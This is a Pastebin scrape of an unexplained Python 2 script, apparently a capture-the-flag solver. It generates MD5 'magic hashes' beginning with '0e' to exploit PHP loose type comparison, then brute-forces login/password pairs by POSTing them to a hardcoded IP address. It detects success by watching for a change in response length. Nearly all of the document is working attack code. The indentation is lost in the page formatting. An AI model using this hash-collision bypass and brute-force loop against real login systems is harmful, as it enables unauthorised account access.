Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import sys, traceback
- import hashlib
- id = '0e_adm1n_is_M3_999607'
- for a in range(0,10):
- for b in range(0,10):
- for c in range(0,10):
- for d in range(0,10):
- for e in range(0,10):
- for f in range(0,10):
- id = '0e_adm1n_is_M3_'
- mystring =id+str(a)+str(b)+str(c)+str(d)+str(e)+str(f)
- hash_object = hashlib.md5(mystring.encode())
- passwd=str(hash_object.hexdigest())
- if (passwd[0:2]=='0e'):
- #fi.write(str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+' '+passwd+'\n')
- r = requests.post('http://35.185.155.1/chall2_f083b9fe538b62746466e63998dc2e07/?'+'login='+mystring+'&passwd='+str(a)+str(b)+str(c)+str(d)+str(e)+str(f), data = {'login':'a','passwd':'a'})
- r.encode='ascii'
- if (len(r.text) !=508):
- print mystring
- sys.exit(0)
- else :
- print 'http://35.185.155.1/chall2_f083b9fe538b62746466e63998dc2e07/?'+'login='+mystring+'&passwd='+str(a)+str(b)+str(c)+str(d)+str(e)+str(f)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement